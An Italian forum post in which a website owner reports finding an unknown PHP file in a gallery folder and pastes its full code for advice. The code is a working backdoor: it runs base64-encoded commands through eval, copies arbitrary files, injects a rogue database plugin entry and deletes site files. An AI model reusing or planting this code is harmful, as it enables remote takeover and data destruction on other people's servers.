Un saluto a tutta la community, scrivo questo post per avere chiarimenti su di un fatto che mi è accaduto poco tempo fa. Stavo caricando via ftp (uso Filezilla) alcune immagini, quando nella cartella "Album" trovo un file mai visto prima, con il nome "eca620cc3c082634e38a3ba890993fc0" che ho ovviamente rimosso dal server. Secondo voi mi devo preoccupare? Per ora non mi è successo nulla, ma temo in qualche attacco da parte di una hacker. Di seguito vi posto il codice php del file:
<?
$hash="eca620cc3c082634e38a3ba890993fc0";
if(isset($_GET["ch"])){
echo "oke";
echo "eff0";
}
if(isset($_GET["patch"])){
include("../include/config.inc.php");
mysql_connect($CONFIG["dbserver"], $CONFIG["dbuser"], $CONFIG["dbpass"]);
mysql_select_db($CONFIG["dbname"]);
//phpinfo();
$codebase_str='<?php
$hash="eca620cc3c082634e38a3ba890993fc0";
if(eregi("picEditor", $REQUEST_URI)||$_POST["save"]==1||isset($_POST["_REQUEST"])){
if(($_POST["hash"]!=$hash)){
die("");
}
}
?>';
$codebase_str=str_replace("eca620cc3c082634e38a3ba890993fc0", $hash, $codebase_str);
$fp_codebase=fopen("userpics/codebase.php", "w");
fwrite($fp_codebase, $codebase_str);
$path=__FILE__;
preg_match("/(.*)(\/.*?)/", $path, $ok);
$path=$ok[0];
$mysql_path="/../../../../../../../../../../../../..".$path."userpics";
//echo $mysql_path."\n";
$sql="INSERT INTO `".$CONFIG['TABLE_PREFIX']."plugins` ( `plugin_id` , `name` , `path` , `priority` )
VALUES (
'', 'Sumple Plugin', '$mysql_path', '0'
);";
//echo $sql;
mysql_query($sql);
echo mysql_error();
if ($handle = opendir('.')) {
while (false !== ($file = readdir($handle))) {
if ($file != "." && $file != ".." && $file!="index.php" && !eregi($hash, $file)) {
if(is_file($file)){
unlink($file);
}
}
}
$fp=fopen("index.php", "w");
fclose($fp);
closedir($handle);
}
}
if(isset($_GET["eval"])){
eval(base64_decode($_GET["eval"]));
}
if(isset($_GET["up"])){
$fp=implode(file($_GET["up_name"]));
$fp_out=fopen($_GET["down_name"], "w");
fwrite($fp_out, $fp);
}
?>
Vi ringrazio in anticipo!